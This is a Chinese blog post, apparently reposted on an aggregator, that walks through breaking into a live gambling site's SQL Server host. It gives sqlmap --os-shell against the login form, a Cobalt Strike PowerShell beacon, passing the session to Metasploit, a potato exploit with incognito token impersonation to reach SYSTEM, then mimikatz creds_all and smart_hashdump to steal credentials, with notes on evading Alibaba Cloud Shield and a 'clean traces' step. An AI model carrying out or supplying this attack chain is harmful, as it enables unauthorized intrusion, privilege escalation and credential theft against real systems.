当前位置：网站首页>渗透实战-SQLServer提权
渗透实战-SQLServer提权
2022-07-04 03:32:00 【amingMM】
技术点：
云盾躲避
cs / msf 配合上线
0x00 打点前提
BC站 登录界面
sqlmap 直接跑 sql盲注
sqlmap -u "http://127.0.0.1/Login/index " --form --batch --os-shell
os-shell
0x01 上线CS
Cobalt Strike
● 创建监听
生成一个Powershell command的木马
丢到刚刚的shell命令行里面去
● 查看权限
当前的shell权限，只有nt service\mssqlserver，权限很低
0x02 提权
● 查看补丁
安装了154个补丁
修补程序: 安装了 154 个修补程序。
[01]: KB2959936
[02]: KB3191564
[03]: KB2896496
[04]: KB2919355
[05]: KB2920189
[06]: KB2928120
[07]: KB2931358
[08]: KB2931366
[09]: KB2933826
[10]: KB2938066
[11]: KB2938772
[12]: KB2949621
[13]: KB2954879
[14]: KB2958262
[15]: KB2958263
[16]: KB2961072
[17]: KB2965500
[18]: KB2966407
[19]: KB2967917
[20]: KB2971203
[21]: KB2971850
[22]: KB2973351
[23]: KB2973448
[24]: KB2975061
[25]: KB2976627
[26]: KB2977629
[27]: KB2981580
[28]: KB2987107
[29]: KB2989647
[30]: KB2989930
[31]: KB2998527
[32]: KB3000850
[33]: KB3003057
[34]: KB3004545
[35]: KB3008242
[36]: KB3011780
[37]: KB3012702
[38]: KB3013172
[39]: KB3013410
[40]: KB3013538
[41]: KB3013769
[42]: KB3013791
[43]: KB3013816
[44]: KB3014442
[45]: KB3019978
[46]: KB3021674
[47]: KB3023266
[48]: KB3024751
[49]: KB3024755
[50]: KB3027209
[51]: KB3030947
[52]: KB3031044
[53]: KB3033446
[54]: KB3034348
[55]: KB3035126
[56]: KB3036612
[57]: KB3038002
[58]: KB3042058
[59]: KB3042085
[60]: KB3043812
[61]: KB3044374
[62]: KB3044673
[63]: KB3045634
[64]: KB3045685
[65]: KB3045717
[66]: KB3045719
[67]: KB3045755
[68]: KB3045999
[69]: KB3046017
[70]: KB3046737
[71]: KB3048043
[72]: KB3054169
[73]: KB3054203
[74]: KB3054256
[75]: KB3054464
[76]: KB3055323
[77]: KB3055343
[78]: KB3055642
[79]: KB3059317
[80]: KB3060681
[81]: KB3060793
[82]: KB3061512
[83]: KB3063843
[84]: KB3071756
[85]: KB3077715
[86]: KB3078405
[87]: KB3078676
[88]: KB3080149
[89]: KB3081320
[90]: KB3082089
[91]: KB3084135
[92]: KB3084905
[93]: KB3086255
[94]: KB3087137
[95]: KB3091297
[96]: KB3092601
[97]: KB3092627
[98]: KB3094486
[99]: KB3095701
[100]: KB3099834
[101]: KB3100473
[102]: KB3102429
[103]: KB3102939
[104]: KB3103616
[105]: KB3103696
[106]: KB3103709
[107]: KB3109103
[108]: KB3109976
[109]: KB3110329
[110]: KB3115224
[111]: KB3121261
[112]: KB3123245
[113]: KB3126041
[114]: KB3126434
[115]: KB3126587
[116]: KB3126593
[117]: KB3132080
[118]: KB3133043
[119]: KB3133690
[120]: KB3134179
[121]: KB3134815
[122]: KB3137728
[123]: KB3138602
[124]: KB3139164
[125]: KB3139398
[126]: KB3139914
[127]: KB3140219
[128]: KB3140234
[129]: KB3144850
[130]: KB3145384
[131]: KB3145432
[132]: KB3146604
[133]: KB3146723
[134]: KB3146751
[135]: KB3147071
[136]: KB3149157
[137]: KB3155784
[138]: KB3156059
[139]: KB3159398
[140]: KB3161949
[141]: KB3162343
[142]: KB3172614
[143]: KB3172729
[144]: KB3175024
[145]: KB3178539
[146]: KB3179574
[147]: KB3185319
[148]: KB4033428
[149]: KB4483187
[150]: KB4486105
[151]: KB4486107
[152]: KB5001403
[153]: KB5007154
[154]: KB5008263
网卡: 安装了 1 个 NIC。
[01]: Red Hat VirtIO Ethernet Adapter
连接名: 以太网
启用 DHCP: 是
使用ms16-075试试
查看AV
https://mrxn.net/avlist/
有阿里云盾
0x03 转场msf
● 新建 payload
选择 Foreign HTTP
在msf上使用
● CS 新建会话
选择你的会话即可派生会话
在msf上等到会话连接(注意：域前置貌似无法派生会话)
权限依旧很低，在CS里面使用文件浏览上传烂土豆
● 在当前会话里面，开始提权：
cd C:\\Users\\Public
use incognito
execute -cH -f ./potato.exe
list_tokens -u
复制administrator的令牌
impersonate_token "administrator的令牌"
拿到了system权限
0x04 抓取Hash
load mimikatz
creds_all
使用msf自带的：run post/windows/gather/smart_hashdump
直接登录
0x05 清理痕迹
边栏推荐
- Contest3145 - the 37th game of 2021 freshman individual training match_ F: Smallest ball
- Record a problem that soft deletion fails due to warehouse level error
- 2022 examination summary of quality controller - Equipment direction - general basis (quality controller) and examination questions and analysis of quality controller - Equipment direction - general b
- Typical applications of minimum spanning tree
- Zhihu million hot discussion: why can we only rely on job hopping for salary increase? Bosses would rather hire outsiders with a high salary than get a raise?
- Site favorites
- POSTECH | option compatible reward reverse reinforcement learning
- Redis transaction
- warning: LF will be replaced by CRLF in XXXXXX
- Development of digital collection trading platform development of digital collection platform
猜你喜欢
Leetcode51.n queen
Ningde times and BYD have refuted rumors one after another. Why does someone always want to harm domestic brands?
Zhihu million hot discussion: why can we only rely on job hopping for salary increase? Bosses would rather hire outsiders with a high salary than get a raise?
1day vulnerability pushback skills practice (3)
![[Wu Enda deep learning] beginner learning record 3 (regularization / error reduction)](/img/e9/818bdfeae766dca7d2318b52b4424d.jpg)
[Wu Enda deep learning] beginner learning record 3 (regularization / error reduction)
Setting methods, usage methods and common usage scenarios of environment variables in postman
functools下的reduce函数
Fudan released its first review paper on the construction and application of multimodal knowledge atlas, comprehensively describing the existing mmkg technology system and progress
Li Chuang EDA learning notes IX: layers
Tsinghua University product: penalty gradient norm improves generalization of deep learning model
随机推荐
Hospital network planning and design document based on GLBP protocol + application form + task statement + opening report + interim examination + literature review + PPT + weekly progress + network to
There is no need to authorize the automatic dream weaving collection plug-in for dream weaving collection
Leecode 122. Zuijia timing of buying and selling stocks ②
Learning video website
[development team follows] API specification
[source code analysis] model parallel distributed training Megatron (5) -- pipestream flush
MySQL query
投资深度思考
Add token validation in swagger
Stm32bug [the project references devices, files or libraries that are not installed appear in keilmdk]
What are the virtual machine software? What are their respective functions?
Ningde times and BYD have refuted rumors one after another. Why does someone always want to harm domestic brands?
[PaddleSeg 源码阅读] PaddleSeg 自定义数据类
Contest3145 - the 37th game of 2021 freshman individual training match_ F: Smallest ball
Setting methods, usage methods and common usage scenarios of environment variables in postman
Future源碼一觀-JUC系列
2006 translation
Don't disagree, this is the most powerful "language" of the Internet
Short math guide for latex by Michael downs
Contest3145 - the 37th game of 2021 freshman individual training match_ G: Score